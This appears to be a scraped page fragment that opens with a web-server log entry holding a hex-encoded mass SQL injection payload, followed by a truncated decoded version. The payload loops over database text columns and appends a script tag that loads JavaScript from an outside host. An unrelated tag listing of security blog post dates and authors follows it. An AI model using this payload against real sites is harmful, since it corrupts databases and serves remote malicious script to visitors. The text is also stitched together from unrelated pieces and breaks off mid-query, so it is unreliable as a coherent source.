80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b

My Security Planet » Tags » Security

Feeds

433 items tagged "Security"

Posted: February 2nd, 2012, 6:26am CST

Tags: Security [edit]

Posted: January 16th, 2012, 6:56am CST

Tags: Security [edit]

Posted: January 8th, 2012, 12:42pm CST

Tags: Security [edit]

Posted: December 21st, 2011, 10:48am CST by Gareth Heyes

Tags: Security [edit]

Posted: December 7th, 2011, 12:47pm CST by gem

Tags: Software Security [edit]

Posted: December 7th, 2011, 7:47am CST by Cigital

Tags: Software Security [edit]

Posted: December 2nd, 2011, 3:29pm CST by Guest

Tags: Cyber Security [edit]

Posted: December 2nd, 2011, 10:29am CST by Cigital

Tags: Cyber Security [edit]

Posted: November 7th, 2011, 2:18pm CST by sammy

Tags: Software Security [edit]

Posted: November 1st, 2011, 12:17pm CDT

Tags: Security [edit]

Posted: October 11th, 2011, 1:59pm CDT by Guest

Tags: Cyber Security [edit]

Posted: October 11th, 2011, 12:18pm CDT by Adi Sharabani

Tags: Web Application Security [edit]

Posted: October 10th, 2011, 2:20am CDT

Tags: Security [edit]

Posted: October 6th, 2011, 6:34pm CDT by vanderaj

Tags: Security [edit]

Posted: August 9th, 2011, 3:25pm CDT by gem

Tags: Software Security [edit]

Posted: July 20th, 2011, 2:11pm CDT by Guest

Tags: Software Security [edit]

Posted: July 19th, 2011, 6:27am CDT

Tags: Security [edit]

Posted: June 10th, 2011, 5:44pm CDT by xssniper

Tags: Web Application Security [edit]

Posted: June 9th, 2011, 8:24am CDT

Tags: Security [edit]

Posted: June 3rd, 2011, 10:15am CDT by Guest

Tags: Cyber Security [edit]

Posted: June 1st, 2011, 12:43am CDT by gem

Tags: Cyber Security [edit]

Posted: April 8th, 2011, 10:18am CDT

Tags: Security [edit]

Posted: March 29th, 2011, 12:45pm CDT by jOHN

Tags: Mobile Security [edit]

Posted: March 26th, 2011, 11:04am CDT

Tags: Security [edit]

Posted: March 22nd, 2011, 9:26am CDT by gem

Tags: Software Security [edit]

Posted: March 1st, 2011, 6:46am CST

Tags: Security [edit]

Posted: February 28th, 2011, 7:30am CST by gem

Tags: Software Security [edit]

Posted: February 23rd, 2011, 2:09pm CST by Gareth Heyes

Tags: Security [edit]

Posted: February 15th, 2011, 11:00am CST by gem

Tags: Software Security [edit]

Posted: January 26th, 2011, 6:39am CST by Gareth Heyes

Tags: Security [edit]

Posted: January 21st, 2011, 11:11am CST by Gareth Heyes

Tags: Security [edit]

Posted: January 19th, 2011, 10:58am CST by gem

Tags: Software Security [edit]

Posted: January 10th, 2011, 3:53am CST

Tags: Security [edit]

Posted: January 4th, 2011, 5:00am CST by xssniper

Tags: Security [edit]

Posted: December 22nd, 2010, 2:11pm CST by xssniper

Tags: Security [edit]

Posted: December 17th, 2010, 7:24am CST by Gareth Heyes

Tags: Security [edit]

Posted: December 17th, 2010, 4:26am CST by xssniper

Tags: Security [edit]

Posted: December 15th, 2010, 9:40pm CST by gem

Tags: Cyber Security [edit]

Posted: November 30th, 2010, 11:35am CST by gem